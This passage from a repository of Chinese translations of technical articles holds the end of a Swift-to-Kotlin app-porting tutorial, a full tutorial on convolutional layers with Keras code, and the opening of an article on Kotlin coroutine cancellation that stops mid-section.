`isHidden` 属性更改为 `visibility`，而不是将按钮的可见性切换为 `View.INVISIBLE`。\n4.  也许你对代码的最不直观的改变是重写 `DispatchQueue`，但不要害怕！Android的 `asyncAfter` 是一个简单的 `postDelayed` 动作，你在 `bear_container` 视图上设置。\n\n几乎就要完成了！还有另一个要从 Swift 转换为 Kotlin 的功能。复制 Swift `reset` 函数的主体并将其粘贴到Android项目的 `BearActivity` 类重置中来重复这个转换过程：\n\n```swift\nself.tapCount = 0\nself.bearImageView.image = imageLiteral(resourceName: \"bear1\")\nself.view.backgroundColor = .white\nself.pokeButton.isHidden = false\n```\n\n然后进行类似的更改：\n\n```kotlin\nthis.tapCount = 0\nthis.bear_image_view.setImageDrawable(getDrawable(R.drawable.bear1))\nthis.bear_container.setBackgroundColor(getColor(R.color.white))\nthis.poke_button.visibility = View.VISIBLE\n```\n\n最后一步是从 iOS 项目中复制 `pokeButtonTapped` 函数的主体并将其粘贴到 Android 项目中。由于 Swift 和 Kotlin 之间的相似性，这个 `if/else` 语句将也需要对 Android 作出更改，虽然修改非常小。这样确保了你的 Kotlin 中 `pokeButtonClicked` 函数主体看起来像这样：\n\n```kotlin\nthis.tapCount = this.tapCount + 1\nif (this.tapCount == 3) {\n  this.bear_image_view.setImageDrawable(getDrawable(R.drawable.bear2))\n} else if (this.tapCount == 7) {\n  this.bear_image_view.setImageDrawable(getDrawable(R.drawable.bear3))\n} else if (this.tapCount == 12) {\n  this.bear_image_view.setImageDrawable(getDrawable(R.drawable.bear4))\n} else if (this.tapCount == 20) {\n  this.bearAttack()\n}\n```\n\n> **额外声明**：这个if/else 阶梯语句可以很容易地用更具表现力的 [控制流语句](https://kotlinlang.org/docs/reference/control-flow.html) 替换，比如 `switch`，也就是在 Kotlin 中的 `when`。\n\n如果你想简化逻辑，请尝试一下。\n\n现在所有功能都已从 iOS 应用程序移植并从 Swift 转换为 Kotlin。在真机或模拟器中编译并运行应用程序并开始使用，现在你可以在登录屏幕后面出现了你的毛茸茸的朋友。\n\n[![Android screen with bear and poke button](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_7-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_7.png)\n\n恭喜你，你已将 Swift 转换为 Kotlin，将 iOS 应用程序转换为全新的 Android 应用程序。你已经通过将 Swift 代码从 Xcode 中的 iOS 项目移动到 Android Studio 中的 Android 应用程序，将 Swift 转换为 Kotlin 来实现跨平台！没有多少人和开发人员会说什么，而且实现它真的非常简单。\n\n### 接下来该干嘛？\n\n使用本教程顶部的 **[链接](https://koenig-media.raywenderlich.com/uploads/2018/10/PokeTheBear.zip)** 下载已经完成的项目来看看它是如何进行的。\n\n如果你是一名 Swift 开发人员，或者是 Kotlin 新手，请查看 [Kotlin 官方文档](https://kotlinlang.org/docs/reference/) 以更深入地了解这些语言。你已经知道如何运行 Kotlin playground 来尝试用代码片段，并且可以在文档中编写可运行的代码小部件。如果你已经是 Kotlin 开发人员，请尝试在 Swift 中编写应用程序。\n\n如果你喜欢 Swift 和 Kotlin 的并排比较，请在 [本文](http://nilhcem.com/swift-is-like-kotlin/) 中查看更多内容。你可信赖的作者还与 UIConf 的 iOS 同事就 Swift 和 Kotlin 进行了一次快速的讨论，你可以在 [这里](https://www.youtube.com/watch?v=_DuGaAkQSnM) 观看到。\n\n我们希望你喜欢本教程，了解如何把 Swift 编写的 iOS 应用程序变成用 Kotlin 创建一个全新的 Android 应用程序。我们也希望你继续探索这两种语言和两种平台。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/convolutional-layers-for-deep-learning-neural-networks.md",
    "content": "> * 原文地址：[A Gentle Introduction to Convolutional Layers for Deep Learning Neural Networks](https://machinelearningmastery.com/convolutional-layers-for-deep-learning-neural-networks/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/author/jasonb/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/convolutional-layers-for-deep-learning-neural-networks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/convolutional-layers-for-deep-learning-neural-networks.md)\n> * 译者：[QiaoN](https://github.com/QiaoN)\n> * 校对者：[HearFishle](https://github.com/HearFishle), [shixi-li](https://github.com/shixi-li)\n\n# 浅析深度学习神经网络的卷积层\n\n卷积和卷积层是卷积神经网络中使用的主要构建模块。\n\n卷积是将输入简单通过滤波器进行激活。重复对输入使用同一个滤波器得到的激活后的图称为特征图/特征映射（feature map），表示输入（比如一张图像）中检测到的特征的位置和强度。\n\n卷积神经网络在特定的预测建模问题（如图像分类）的约束下，能创新的针对训练数据集并行自动学习大量滤波器。结果是可以在输入图像的任何位置检测到高度特定的特征。\n\n在本教程中，你将了解卷积在卷积神经网络中是如何工作的。\n\n完成本教程后，你将知道：\n\n* 卷积神经网络使用滤波器从输入中得到特征映射，该特征映射汇总了输入中检测到的特征的存在。\n* 滤波器可以手工设计，例如线条检测器，但卷积神经网络的创新是，训练期间在特定预测问题的背景下学习滤波器。\n* 在卷积神经网络中如何计算一维和二维卷积层的特征映射。\n\n让我们开始吧。\n\n![浅析深度学习神经网络的卷积层](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/A-Gentle-Introduction-to-Convolutional-Layers-for-Deep-Learning-Neural-Networks.jpg)\n\n浅析深度学习神经网络的卷积层\n照片由 [mendhak](https://www.flickr.com/photos/mendhak/5059410544/) 拍摄，版权所有。\n\n## 教程概述\n\n本教程分为四个部分，分别为：\n\n1. 卷积神经网络中的卷积\n2. 计算机视觉中的卷积\n3. 学习到的滤波器的能力\n4. 卷积层的样例\n\n## 卷积神经网络中的卷积\n\n卷积神经网络，简称 CNN，是一种专门用于处理二维图像数据的神经网络模型，尽管其也可用于一维和三维数据。\n\n卷积神经网络的核心是卷积层，这也是卷积神经网络命名的由来。该层执行的操作称为“**卷积**”。\n\n在卷积神经网络的语境中，卷积是涵盖了一组权重与输入相乘的线性操作，很像传统的神经网络。由于该技术是为二维输入设计的，这个乘法会在输入数据阵列和二维权重阵列之间进行，称为滤波器或核。\n\n滤波器小于输入数据，在滤波器大小的输入区块和滤波器之间应用的乘法被称作点积。[点积](https://en.wikipedia.org/wiki/Dot_product)是滤波器大小的输入区块和滤波器之间的对应元素相乘，然后求和产生的单一值。因为它产生单一值，所以该操作通常被称为“**标积**”。\n\n我们故意使用小于输入的滤波器，因为它允许相同的滤波器（权重集）在输入的不同点处多次乘以输入阵列。具体而言，滤波器从左到右、从上到下，系统地应用于输入数据的每个重叠部分或滤波器大小的区块。\n\n在图像上系统地应用相同的滤波器是一个强大的想法。如果滤波器设计为检测输入中的特定类型的特征，那么在整个输入图像上系统地应用该滤波器能有机会在图像中的任何位置发现该特征。这种能力通常被称为平移不变性，比如说，关注该特征是否存在，而不是在哪里存在。\n\n> 如果我们更关心某个特征是否存在而不是存在的确切位置，那么本地平移不变性会是非常有用的属性。例如，当判定图像是否包含面部时，我们不需要知道眼睛的像素级准确位置，我们只需要知道面部左侧和右侧分别有一只眼睛。\n\n—— 第 342 页，[深度学习](https://amzn.to/2Dl124s)，2016。\n\n将滤波器与输入阵列相乘一次，可得到单一值。由于滤波器多次应用于输入阵列，因此结果是一个表示输入滤波后的二维阵列输出值，这个结果被称为“**特征映射**”。\n\n特征映射创建后，我们可以通过非线性函数（例如 ReLU ）传递特征映射中的每个值，就像我们对全连接层的输出所做的那样。\n\n![对二维输入创建特征映射的滤波器示例](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Example-of-a-Filter-Applied-to-a-Two-Dimensional-input-to-create-a-Feature-Map.png)\n\n对二维输入创建特征映射的滤波器示例\n\n如果你来自数字信号处理领域或相关的数学领域，你可能会将矩阵的卷积运算理解为不同的东西。尤其应用输入前先翻转滤波器（核）。理论上，在卷积神经网络中说的卷积实际上是“**互相关**”。然而在深度学习中，它被称为“**卷积**”操作。\n\n> 很多机器学习库实现的互相关被称为卷积。\n\n—— 第 333 页，[深度学习](https://amzn.to/2Dl124s)，2016。\n\n总之，我们有一个**输入**，例如一个像素值图像，我们还有一个滤波器，它也是一组权重，滤波器系统地应用于输入数据从而创建出**特征映射**。\n\n## 计算机视觉中的卷积\n\n对卷积神经网络来说，用卷积处理图像数据的想法并不新颖或独特，它是计算机视觉中的常用技术。\n\n历史上，滤波器是由计算机视觉专家手工设计的，然后将其应用于图像以产生特征映射或滤波后的输出，这在某种程度上使图像分析更容易。\n\n例如，下面是一个手工 3×3 元素的滤波器，用于检测垂直线：\n\n```\n0.0, 1.0, 0.0\n\n0.0, 1.0, 0.0\n\n0.0, 1.0, 0.0\n```\n\n将此滤波器应用于图像将生成仅包含垂直线的特征映射。这是一个垂直线检测器。\n\n你能从滤波器的权重值中看到这一点：中心垂直线上的任何像素值都将被正激活，其它侧的任何像素值将被负激活。在图像的像素值上系统地拖拽此滤波器只能突出显示垂直线像素。\n\n我们还可以创建水平线检测器并将其应用于图像，例如：\n\n```\n0.0, 0.0, 0.0\n\n1.0, 1.0, 1.0\n\n0.0, 0.0, 0.0\n```\n\n综合两个滤波器的结果，比如综合两个特征映射，将会突出显示图像中的所有的线。\n\n可以设计一套数十甚至数百个其它的小型滤波器来检测图像中的其它特征。\n\n在神经网络中使用卷积运算的创新之处在于，滤波器的值是网络训练中需要学习到的权重。\n\n网络将学习到从输入中提取的特征类型。具体而言，在随机梯度下降的训练中，网络定会学习从图像中提取特征，该特征最小化了网络被训练要解决的特定任务的损失，例如，提取将图像分类为狗或猫最有用的特征。\n\n在这种情况下，你会看到这是一个很强大的想法。\n\n## 学习到的滤波器的能力\n\n学习针对机器学习任务的单个滤波器是一种强大的技术。\n\n然而，卷积神经网络在实践中实现了更多。\n\n### 多个滤波器\n\n卷积神经网络不只学习单个滤波器。事实上，它们对给定输入并行学习多个特征。\n\n例如，对于给定输入，卷积层通常并行地学习 32 到 512 个滤波器。\n\n这样提供给模型 32 甚至 512 种不同的从输入中提取特征的方式，或者说“**学习看**”的许多不同方式，以及训练后“**看**”输入数据的许多不同方式。\n\n这种多样性允许定制化，比如不仅是线条，还有特定训练数据中的特定线条。\n\n### 多个通道\n\n彩色图像具有多个通道，通常每个颜色通道有一个，例如红色，绿色和蓝色。\n\n从数据的角度来看，这意味着作为输入的单个图像在模型上实际是三个图像。\n\n滤波器必须始终具有与输入相同的通道数量，通常称为“**深度**”。如果输入图像有 3 个通道（深度为 3），则应用于该图像的滤波器也必须有 3 个通道（深度为3）.这种情况下，一个 3×3 滤波器实际上行、列和深度为 3x3x3 或 [3, 3, 3]。无论输入和滤波器的深度如何，都使用点积运算将滤波器应用于输入来产生单一值。\n\n这意味着如果卷积层具有 32 个滤波器，则这 32 个滤波器对二维图像输入不仅是二维的，还是三维的，对于三个通道中的每一个都具有特定的滤波器权重。然而，每个滤波器都会生成一个特征映射,这意味着对于创建的32个特征映射，应用 32 个滤波器的卷积层的输出深度为 32。\n\n### 多个层\n\n卷积层不仅应用于输入数据如原始像素值，也可以应用于其他层的输出。\n\n卷积层的堆叠允许输入的层次分解。\n\n考虑直接对原始像素值进行操作的滤波器将学习提取低级特征，例如线条。\n\n在第一线层的输出上操作的滤波器可能提取综合低级特征的特征，比如可表示形状的多条线的特征。\n\n这个过程会一直持续到非常深的层，提取面部、动物、房屋等。\n\n这些正是我们在实践中看到的。随着网络深度的增加，特征的抽取会越来越高阶。\n\n## 卷积层的样例\n\n深度学习库 Keras 提供了一系列卷积层。\n\n通过看一些人为数据和手工滤波器的样例，我们可以更好地理解卷积运算。\n\n在本节中，我们将同时研究一维卷积层和二维卷积层的例子，两者都具体化了卷积操作，也提供了使用 Keras 层的示范。\n\n### 一维卷积层的样例\n\n我们可以定义一个具有八个元素的一维输入，正中间两个凸起元素值为 1.0，其余元素值为 0.0。\n\n```\n[0, 0, 0, 1, 1, 0, 0, 0]\n```\n\n对于一维卷积层，Keras 的输入必须是三维的。\n\n第一维指每个输入样本，在本例中我们只有一个样本。第二个维度指每个样本的长度，在本例中长度是 8。第三维指每个样本中的通道数，在本例中我们只有一个通道。\n\n因此，输入阵列的 shape 为 [1, 8, 1]。\n\n```\n# define input data\ndata  =  asarray([0,  0,  0,  1,  1,  0,  0,  0])\ndata  =  data.reshape(1,  8,  1)\n```\n\n我们将定义一个模型，其输入样本的 shape 为 [8, 1]。\n\n该模型将具有一个滤波器，shape 为 3，或者说三个元素宽。Keras 将滤波器的 shape 称为 **kernel_size**。\n\n```\n# create model\nmodel  =  Sequential()\nmodel.add(Conv1D(1,  3,  input_shape=(8,  1)))\n```\n\n默认情况下，卷积层中的滤波器使用随机权重进行初始化。在这个人为例子中，我们将手动设定单个滤波器的权重。我们将定义一个能够检测凸起的滤波器，这是一个由低输入值包围的高输入值，正如我们在输入示例中定义的那样。\n\n我们将三元素滤波器定义如下：\n\n```\n[0, 1, 0]\n```\n\n卷积层还具有偏差输入值，该值也需要我们设置一个为 0 的权重。\n\n因此，我们可以强制我们的一维卷积层的权重使用如下所示的手工滤波器：\n\n```\n# define a vertical line detector\nweights = [asarray([[[0]],[[1]],[[0]]]), asarray([0.0])]\n# store the weights in the model\nmodel.set_weights(weights)\n```\n\n权重必须以行、列、通道的三维结构被设定，滤波器有一行、三列、和一个通道。\n\n我们可以检索权重并确认它们被正确设置。\n\n```\n# confirm they were stored\nprint(model.get_weights())\n```\n\n最后，我们可将单个滤波器应用于输入数据。\n\n我们可以通过在模型上调用 **predict()** 函数来实现这一点。这将直接返回特征映射：这是在输入序列中系统地应用滤波器的输出。\n\n```\n# apply filter to input data\nyhat  =  model.predict(data)\nprint(yhat)\n```\n\n将所有这些结合在一起，完整的样例如下所列。\n\n```\n# example of calculation 1d convolutions\nfrom numpy import asarray\nfrom keras.models import Sequential\nfrom keras.layers import Conv1D\n# define input data\ndata = asarray([0, 0, 0, 1, 1, 0, 0, 0])\ndata = data.reshape(1, 8, 1)\n# create model\nmodel = Sequential()\nmodel.add(Conv1D(1, 3, input_shape=(8, 1)))\n# define a vertical line detector\nweights = [asarray([[[0]],[[1]],[[0]]]), asarray([0.0])]\n# store the weights in the model\nmodel.set_weights(weights)\n# confirm they were stored\nprint(model.get_weights())\n# apply filter to input data\nyhat = model.predict(data)\nprint(yhat)\n```\n\n运行该样例，首先打印网络的权重，这证实了我们的手工滤波器在模型中是按照我们的预期设置的。\n\n接下来，滤波器应用到输入模式，计算并显示出特征映射。我们可以从特征映射的值中看到凸起被正确检测到。\n\n```\n[array([[[0.]],\n       [[1.]],\n       [[0.]]], dtype=float32), array([0.], dtype=float32)]\n\n[[[0.]\n  [0.]\n  [1.]\n  [1.]\n  [0.]\n  [0.]]]\n```\n\n让我们仔细看看发生了什么。\n\n回想一下，输入是一个八元素向量，其值为：[0, 0, 0, 1, 1, 0, 0, 0]。\n\n首先，通过计算点积（“.”运算符）将三元素滤波器 [0, 1, 0] 应用于输入的前三个输入 [0, 0, 0]，得到特征映射中的单个输出值 0。\n\n回想一下，点积是对应元素相乘的总和，在这它是 (0 x 0) + (1 x 0) + (0 x 0) = 0。在 NumPy 中，这可以手动实现为：\n\n```\nfrom numpy import asarray\nprint(asarray([0, 1, 0]).dot(asarray([0, 0, 0])))\n```\n\n在我们的手动示例中，具体如下：\n\n```\n[0, 1, 0] . [0, 0, 0] = 0\n```\n\n然后滤波器沿着输入序列的一个元素移动，并重复该过程。具体而言，在索引 1，2 和 3 处对输入序列应用相同的滤波器，得到特征映射中的输出为 0。\n\n```\n[0, 1, 0] . [0, 0, 1] = 0\n```\n\n我们是系统的，所以再一次，滤波器沿着输入的另一个元素移动，并应用于索引 2、3 和 4 处的输入。这次在特征映射中输出值是 1。我们检测到该特征并相应的激活。\n\n```\n[0, 1, 0] . [0, 1, 1] = 1\n```\n\n重复该过程，直到我们计算出整个特征映射。\n\n```\n[0, 0, 1, 1, 0, 0]\n```\n\n请注意，特征映射有六个元素，而我们的输入有八个元素。这是滤波器应用于输入序列的手工结果。还有其它方法可以将滤波器应用于输入序列可得到不同 shape 的特征映射，例如填充，但我们不会在本文中讨论这些方法。\n\n你可以想象，通过不同的输入，我们可以检测到具有不同强度的特征，且在滤波器中具有不同的权重，那么我们将检测到输入序列中的不同特征。\n\n### 二维卷积层的样例\n\n我们可以将上一节的凸起检测样例扩展为二维图像的垂直线检测器。\n\n同样的，我们可以约束输入，在这里为一个具有单个通道（如灰度）的正方形 8×8 像素的输入图像，其中间有一个垂直线。\n\n```\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n[0, 0, 0, 1, 1, 0, 0, 0]\n```\n\nConv2D（二维卷积层）的输入必须是四维的。\n\n第一个维度定义样本，在本例中只有一个样本。第二个维度定义行数，在本例中是 8。第三维定义列数，在本例中还是 8。最后定义通道数，本例中是 1。\n\n因此，输入必须具有四维 shape [样本，列，行，通道]，在本例中是 [1, 8, 8, 1]。\n\n```\n# define input data\ndata = [[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0]]\ndata = asarray(data)\ndata = data.reshape(1, 8, 8, 1)\n```\n\n我们将用单个滤波器定义 Conv2D，就像我们在上一节对 Conv1D 样例所做的那样。\n\n滤波器将是二维的，一个 shape 3×3 的正方形。该层将期望输入样本具有 shape [列，行，通道]，在本例中为 [8, 8, 1]。\n\n```\n# create model\nmodel = Sequential()\nmodel.add(Conv2D(1, (3,3), input_shape=(8, 8, 1)))\n```\n\n我们将定义一个垂直线检测器的滤波器来检测输入数据中的单个垂直线。\n\n滤波器如下所示：\n\n```\n0, 1, 0\n0, 1, 0\n0, 1, 0\n```\n\n我们可以实现如下：\n\n```\n# define a vertical line detector\ndetector = [[[[0]],[[1]],[[0]]],\n            [[[0]],[[1]],[[0]]],\n            [[[0]],[[1]],[[0]]]]\nweights = [asarray(detector), asarray([0.0])]\n# store the weights in the model\nmodel.set_weights(weights)\n# confirm they were stored\nprint(model.get_weights())\n```\n\n最后，我们将滤波器应用于输入图像，将得到一个特征映射，表明对输入图像中垂直线的检测，如我们希望的那样。\n\n```\n# apply filter to input data\nyhat = model.predict(data)\n```\n\n特征映射的输出 shape 将是四维的，[批，行，列，滤波器]。我们将执行单个批处理，并且我们有一个滤波器（一个滤波器和一个输入通道），因此输出 shape 为 [1, ?, ?, 1]。我们可以完美打印出单个特征映射的内容，如下所示：\n\n```\nfor r in range(yhat.shape[1]):\n\t# print each column in the row\n\tprint([yhat[0,r,c,0] for c in range(yhat.shape[2])])\n```\n\n将所有这些结合在一起，完整的样例如下所列。\n\n```\n# example of calculation 2d convolutions\nfrom numpy import asarray\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D\n# define input data\ndata = [[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0],\n\t\t[0, 0, 0, 1, 1, 0, 0, 0]]\ndata = asarray(data)\ndata = data.reshape(1, 8, 8, 1)\n# create model\nmodel = Sequential()\nmodel.add(Conv2D(1, (3,3), input_shape=(8, 8, 1)))\n# define a vertical line detector\ndetector = [[[[0]],[[1]],[[0]]],\n            [[[0]],[[1]],[[0]]],\n            [[[0]],[[1]],[[0]]]]\nweights = [asarray(detector), asarray([0.0])]\n# store the weights in the model\nmodel.set_weights(weights)\n# confirm they were stored\nprint(model.get_weights())\n# apply filter to input data\nyhat = model.predict(data)\nfor r in range(yhat.shape[1]):\n\t# print each column in the row\n\tprint([yhat[0,r,c,0] for c in range(yhat.shape[2])])\n```\n\n运行该样例，首先确认手工滤波器已在层权重中被正确定义。\n\n接下来，打印计算出的特征映射。从数字的规模我们可以看到，滤波器确实在特征映射的中间检测到具有单个强激活的垂直线。\n\n```\n[array([[[[0.]],\n        [[1.]],\n        [[0.]]],\n       [[[0.]],\n        [[1.]],\n        [[0.]]],\n       [[[0.]],\n        [[1.]],\n        [[0.]]]], dtype=float32), array([0.], dtype=float32)]\n\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n```\n\n让我们仔细看看计算了什么。\n\n首先，将滤波器应用于图像的左上角，或者说 3×3 元素的图像区块。理论上，图像区块是三维的，具有单个通道，滤波器具有相同的尺寸。在 NumPy 中我们不能使用 [dot()](https://docs.scipy.org/doc/numpy/reference/generated/numpy.dot.html)  函数实现它，我们必须使用 [tensordot()](https://docs.scipy.org/doc/numpy/reference/generated/numpy.tensordot.html) 函数代替，以便我们可以适当地对所有维度求和，例如：\n\n```\nfrom numpy import asarray\nfrom numpy import tensordot\nm1 = asarray([[0, 1, 0],\n\t\t\t  [0, 1, 0],\n\t\t\t  [0, 1, 0]])\nm2 = asarray([[0, 0, 0],\n\t\t\t  [0, 0, 0],\n\t\t\t  [0, 0, 0]])\nprint(tensordot(m1, m2))\n```\n\n该计算得到单个输出值 0.0，也就是未检测到特征。这给了我们特征映射左上角的第一个元素。\n\n手动如下所示：\n\n```\n0, 1, 0     0, 0, 0\n0, 1, 0  .  0, 0, 0 = 0\n0, 1, 0     0, 0, 0\n```\n\n滤波器沿着一列向左移动，并重复该过程。同样的，未检测到该特征。\n\n```\n0, 1, 0     0, 0, 1\n0, 1, 0  .  0, 0, 1 = 0\n0, 1, 0     0, 0, 1\n```\n\n再向左移动到下一列，第一次检测到该特征并强激活。\n\n```\n0, 1, 0     0, 1, 1\n0, 1, 0  .  0, 1, 1 = 3\n0, 1, 0     0, 1, 1\n```\n\n重复此过程，直到滤波器的边缘位于输入图像的边缘或最后一列上。这给出了特征映射的第一个完整行中的最后一个元素。\n\n```\n[0.0, 0.0, 3.0, 3.0, 0.0, 0.0]\n```\n\n然后滤波器向下移动一行并返回到第一列，从左到右重复如上过程，给出特征映射的第二行。直到滤波器的底部位于输入图像的底部或最后一行。\n\n与上一节一样，我们可以看到特征映射是一个 6×6 矩阵，比 8×8 的输入图像小，因为滤波器应用于输入图像的限制。\n\n## 延伸阅读\n\n如果你希望更深入，本节将提供此主题的更多资源。\n\n### 文章\n\n* [机器学习卷积神经网络的速成课程](https://machinelearningmastery.com/crash-course-convolutional-neural-networks/)\n\n### 书\n\n* 第 9 章：卷积网络，[深度学习（Deep Learning）](https://amzn.to/2Dl124s)，2016。\n* 第 5 章：计算机视觉的深度学习，[使用 Python 深度学习（Deep Learning with Python）](https://amzn.to/2Dnshvc)，2017。\n\n### API\n\n* [Keras Convolutional Layers API](https://keras.io/layers/convolutional/)\n* [numpy.asarray API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.asarray.html)\n\n## 总结\n\n在本教程中，你了解到卷积在卷积神经网络中是如何工作的。\n\n具体来说，你学到了：\n\n* 卷积神经网络使用滤波器从输入中得到特征映射，该特征映射汇总了输入中检测到的特征的存在。\n* 滤波器可以手工设计，例如线条检测器，但卷积神经网络的创新是，在训练期间在特定预测问题的背景下学习滤波器。\n* 在卷积神经网络中如何计算一维和二维卷积层的特征映射。\n\n你有什么问题？\n在下面的评论中提出您的问题，我会尽力回答。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/coroutines-snags.md",
    "content": "> * 原文地址：[Advanced Kotlin Coroutines tips and tricks](https://proandroiddev.com/coroutines-snags-6bf6fb53a3d1)\n> * 原文作者：[Alex Saveau](https://proandroiddev.com/@SUPERCILEX?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/coroutines-snags.md](https://github.com/xitu/gold-miner/blob/master/TODO1/coroutines-snags.md)\n> * 译者：[nanjingboy](https://github.com/nanjingboy)\n> * 校对者：[zx-Zhu](https://github.com/zx-Zhu)\n\n# Kotlin 协程高级使用技巧\n\n## 学习一些障碍以及如何绕过它们\n\n![](https://cdn-images-1.medium.com/max/800/1*xGP1VG9jCjZN1VqFKgrL9A.png)\n\n协程从 1.3 开始成为稳定版！\n\n开始 Kotlin 协程非常简单：只需将一些耗时操作放在 `launch` 中即可，你做到了，对不？当然，这是针对简单的情况。但很快，并发与并行的复杂性会慢慢堆积起来。\n\n当你深入研究协程时，以下是一些你需要知道的事情。\n\n### 取消 + 阻塞操作 = 😈\n\n没有办法绕过它：在某些时候，你不得不用原生 Java 流。这里的问题（很多情况下 😉）是使用流将会堵塞当前线程。这在协程中是一个坏消息。现在，如果你想要取消一个协程，在能够继续执行之前，你不得不等待读写操作完成。\n\n作为一个简单可重复的例子，让我们打开 `ServerSocket` 并且等待 1 秒的超时连接：\n\n```\nrunBlocking(Dispatchers.IO) {\n    withTimeout(1000) {\n        val socket = ServerSocket(42)\n\n         // 我们将卡在这里直到有人接收该连接。难道你不想知道为什么吗？😜\n        socket.accept()\n    }\n}\n```\n\n应该可以运行，对吗？不。\n\n现在你的感受有点像：😖。 那么我们如何解决呢？\n\n当 `Closeable` APIs 构建良好时，它们支持从任何线程关闭流并适当地失败。\n\n> 注意：通常情况下，JDK 中的 APIs 遵循了这些最佳实践，但需注意第三方 `Closeable` APIs 可能并没有遵循。 你被提醒过了。\n\n幸亏 `suspendCancellableCoroutine` 函数，当一个协程被取消时我们可以关闭任何流：\n\n```\npublic suspend inline fun <T : Closeable?, R> T.useCancellably(\n        crossinline block: (T) -> R\n): R = suspendCancellableCoroutine { cont ->\n    cont.invokeOnCancellation { this?.close() }\n    cont.resume(use(block))\n}\n```\n\n确保这适用于你正在使用的 API ！\n\n现在阻塞的 `accept` 调用被 `useCancellably` 包裹，该协程会在超时触发的时候失败。\n\n```\nrunBlocking(Dispatchers.IO) {\n    withTimeout(1000) {\n        val socket = ServerSocket(42)\n\n        // 抛出 `SocketException: socket closed` 异常。好极了！\n        socket.useCancellably { it.accept() }\n    }\n}\n```\n\n成功！\n\n如果你不支持取消怎么办？以下是你需要注意的事项：\n\n*   如果你使用协程封装类中的任何属性或方法，即使取消了协程也会存在泄漏。如果你认为你正在 `onDestroy` 中清理资源，这尤其重要。**解决方法:** 将协同程序移动到 `ViewModel` 或其他上下文无关的类中并订阅它的处理结果。\n*   确保使用 `Dispatchers.IO` 来处理阻塞操作，因为这可以让 Kotlin 留出一些线程来进行无限等待。\n*   尽可能使用 `suspendCancellableCoroutine` 替换 `suspendCoroutine`。\n\n### `launch` vs. `async`\n\n由于上面关于这两个特性的回答已经过时，我想我会再次分析它们的差异。\n\n#### `launch` 